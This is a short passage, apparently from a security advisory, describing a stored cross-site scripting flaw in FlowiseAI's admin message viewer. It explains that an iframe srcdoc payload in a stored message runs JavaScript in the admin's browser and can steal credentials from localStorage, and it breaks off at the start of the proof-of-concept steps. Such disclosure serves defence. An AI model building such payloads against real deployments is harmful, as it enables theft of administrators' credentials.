When an administrator views messages using the \"View Messages\" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`.\n\n---\n\n### Details\nThe vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `\u003ciframe srcdoc=\"...\"\u003e` can include arbitrary JavaScript, which is executed when the message is rendered.\n\n---\n\n### PoC\n1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).\n2.
